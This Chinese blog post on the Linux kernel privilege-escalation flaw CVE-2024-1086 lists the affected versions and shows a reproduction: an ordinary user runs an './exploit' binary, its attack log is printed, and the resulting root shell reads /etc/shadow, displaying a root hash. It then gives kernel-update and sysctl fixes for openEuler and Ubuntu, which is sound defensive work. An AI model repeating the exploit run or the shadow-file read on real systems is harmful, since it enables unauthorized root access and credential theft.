赞
踩
漏洞详情
Linux kernel权限提升漏洞(CVE-2024-1086)基本情况:攻击者利用该漏洞可在本地进行提权操作,最高可获取目标服务器的root管理权限。
影响范围
3.15<= Linux kernel < 6.1.76
5.2<= Linux kernel < 6.6.15
6.7<= Linux kernel < 6.7.3
6.8:rc1 = Linux kernel
修复建议
Github官方Linux CVE-2024-1086漏洞复现视频
# useradd 命令创建用户
[root@localhost testuser]# useradd testuser
# passwd 命令设置密码
[root@localhost testuser]# passwd testuser
Changing password for user testuser.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.
# 新建一个连接使用普通账号登录,不要使用su 命令切换账号
# 已经切换到testuser账号了
[testuser@localhost ~]$
# 普通账号查看/etc/shadow文件 被拒绝,该文件存储系统用户密码及相关安全信息的文件只有超级管理员才有足够权限来执行这个命令以查看其内容
[testuser@localhost ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
# 上传完成后给脚本文件添加执行权限
[testuser@localhost ~]$ chmod 777 exploit
# 在脚本目录执行该脚本 [testuser@localhost ~]$ ./exploit [*] creating user namespace (CLONE_NEWUSER)... [*] creating network namespace (CLONE_NEWNET)... [*] setting up UID namespace... [*] configuring localhost in namespace... [*] setting up nftables... [+] running normal privesc [*] waiting for the calm before the storm... [*] sending double free buffer packet... [*] spraying 16000 pte's... [*] checking 16000 sprayed pte's for overlap... [+] confirmed double alloc PMD/PTE [+] found possible physical kernel base: 0000000221000000 [+] verified modprobe_path/usermodehelper_path: 0000000222a57ee0 ('/sanitycheck')... [*] overwriting path with PIDs in range 0->65536... [!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?
# 输入id命令 看到已经是root权限了
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
# 再输入 cat /etc/shadow 已经能访问了
sh-5.1# cat /etc/shadow | head -n 1
root:$6$jg8rz9HDnku9ji$Ql8fJ67n8vWy1thQ2o5nkdwvsBTS.2YxWJeRGxCo41bUk3LvII680RKaLXfwX2B383Y.O0/GkNP6d0:19843:0:99999:7:::
通过查询系统版本信息验证是否在受影响版本内,不同发行版可能文件名不一样
查看系统版本
[root@localhost ~]# cat /etc/os-release
NAME="openEuler"
VERSION="22.03 LTS"
ID="openEuler"
VERSION_ID="22.03"
PRETTY_NAME="openEuler 22.03 LTS"
ANSI_COLOR="0;31"
内核版本
[root@localhost ~]# uname -r
5.10.0-60.18.0.50.oe2203.x86_64
适用系统版本
查看内核版本
# 执行uname -r 查看内核版本
[root@localhost ~]# uname -r
5.10.0-60.18.0.50.oe2203.x86_64
在root权限下执行
# 使用dnf包管理器更新软件也包括更新内核,如果更新的软件较多且服务器在国外会下载较慢
[root@localhost ~]# dnf update -y
更新完成后重启系统
# 执行重启命令
[root@localhost ~]# reboot
重启后查看内核版本
# 内核版本升级完成漏洞修复
[root@localhost ~]# uname -r
5.10.0-60.139.0.166.oe2203.x86_64
再次复现漏洞
# 已经无法提升权限,漏洞修复成功
查看内核版本
# 执行uname -r 查看内核版本
root@tzsdbusiness01:~# uname -r
5.4.0-182-generic
在root权限下执行更新软件资源库
# 更新软件资源库
root@tzsdbusiness01:~# apt update
root下执行更新软件库
更新软件库更新内核
root@tzsdbusiness01:~# apt upgrade -y
更新完成重启系统
# 执行重启
root@tzsdbusiness01:~# reboot
# 执行uname -r 查看内核版本
suroot@prod-dn03:~$ uname -r
5.4.0-150-generic
# 更新软件资源库
root@prod-dn03:~# apt update
# root下执行更新软件库
root@prod-dn03:~# apt upgrade -y
# 版本为18.04的还需执行以下命令,其他版本无需执行
sudo sysctl -w kernel.unprivileged_userns_clone=0
echo kernel.unprivileged_userns_clone=0 | \sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf
# 执行重启完成修复
root@prod-dn03:~# reboot
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。